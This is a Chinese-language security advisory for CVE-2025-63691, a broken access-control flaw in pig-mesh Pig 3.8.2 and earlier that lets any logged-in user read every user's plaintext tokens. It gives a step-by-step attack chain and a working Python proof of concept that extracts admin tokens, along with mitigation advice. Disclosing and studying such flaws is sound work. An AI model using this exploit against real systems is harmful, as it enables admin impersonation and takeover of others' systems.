IPBUF安全漏洞报告
English
CVE-2025-63691 CVSS 9.6 严重

CVE-2025-63691: Pig系统Token管理接口权限验证缺陷导致信息泄露

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63691
漏洞类型
信息泄露/权限绕过
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pig-mesh Pig

相关标签

CVE-2025-63691信息泄露权限绕过Broken Access Controlpig-meshPig令牌泄露认证绕过CVSS 9.6CRITICAL

漏洞概述

CVE-2025-63691是pig-mesh Pig系统中一个严重的信息泄露漏洞。该漏洞存在于3.8.2及以下版本的Token Management功能中,位于系统管理模块的令牌查询接口(/api/admin/sys-token/page)。由于该接口存在不当的权限验证缺陷,任何完成登录认证的用户都可以访问此接口,而无需具备管理员权限。接口会返回系统中所有当前已登录用户的明文认证令牌,包括管理员账户的令牌。这使得普通用户可以轻易获取管理员的认证令牌,从而伪造管理员身份,获得系统的完全管理权限,最终实现对系统的完全控制。此漏洞的CVSS评分高达9.6,属于严重级别,对系统机密性和完整性造成严重影响。

技术细节

该漏洞的核心问题在于Token Management模块的权限控制机制存在缺陷。在正常的访问控制模型中,像令牌查询这类敏感功能应该仅对具有特定权限(如系统管理员角色)的用户开放。然而,由于权限验证逻辑不完善,/api/admin/sys-token/page接口在处理请求时未能正确检查调用者的权限级别。攻击者只需具备基本的用户登录凭证,即可向该接口发送HTTP GET请求。服务端在接收到请求后,会直接返回包含所有在线用户令牌的JSON响应,其中每个令牌对象包含用户ID、用户名、令牌值(token)、创建时间、过期时间等敏感信息。攻击者获取管理员令牌后,可将其用于后续的API调用,冒充管理员执行任意操作,包括修改系统配置、访问敏感数据、添加或删除用户等。漏洞的利用不需要任何特殊的攻击工具或复杂的技术手段,标准的HTTP请求工具如curl或Burp Suite即可完成攻击。

攻击链分析

STEP 1
步骤1: 用户认证
攻击者首先在目标pig系统中注册一个普通用户账户并完成登录,获取基本的会话凭证(JSESSIONID或Bearer Token)
STEP 2
步骤2: 构造恶意请求
攻击者构造针对/api/admin/sys-token/page接口的HTTP GET请求,使用普通用户的认证凭证作为Cookie或Authorization头
STEP 3
步骤3: 发送请求获取令牌列表
攻击者发送请求后,服务端因权限验证缺陷直接返回所有在线用户的令牌信息,包括用户ID、用户名、明文令牌值、令牌类型等敏感数据
STEP 4
步骤4: 提取管理员令牌
攻击者从响应中筛选出管理员账户的令牌,通常可通过userType字段为'admin'或username为'admin'来识别
STEP 5
步骤5: 伪造管理员身份
攻击者使用获取的管理员令牌替换当前会话凭证,向其他管理接口发送请求,以管理员身份执行操作
STEP 6
步骤6: 系统完全控制
攻击者成功获取系统最高权限后,可执行任意管理操作,包括修改配置、访问敏感数据、创建后门账户等,最终实现对系统的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-63691 PoC - Information Disclosure via Token Management Interface # Target: pig-mesh Pig <= 3.8.2 # Endpoint: /api/admin/sys-token/page # Impact: Any authenticated user can obtain all user tokens including admin tokens import requests import json target_url = "http://target-server/api/admin/sys-token/page" # Use any valid user session cookie or token headers = { "Cookie": "JSESSIONID=your_authenticated_user_session", "Content-Type": "application/json" } # Optional: Add pagination parameters params = { "current": 1, "size": 100 } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: data = response.json() print("[+] Request successful - Token information leaked!") print(json.dumps(data, indent=2, ensure_ascii=False)) # Extract tokens for privilege escalation if "data" in data and "records" in data["data"]: for record in data["data"]["records"]: if record.get("userType") == "admin" or record.get("username") == "admin": print(f"[+] Admin Token Found: {record.get('token')}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

pig-mesh Pig <= 3.8.2

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 暂时禁用或限制/api/admin/sys-token/page接口的访问,仅允许可信IP访问;2) 部署Web应用防火墙(WAF)规则,监控和拦截对该接口的异常访问;3) 增加接口访问频率限制,防止批量令牌获取;4) 定期更换用户令牌,缩短令牌有效期;5) 启用双因素认证(2FA),增加账户安全性;6) 监控用户登录行为,发现异常及时告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表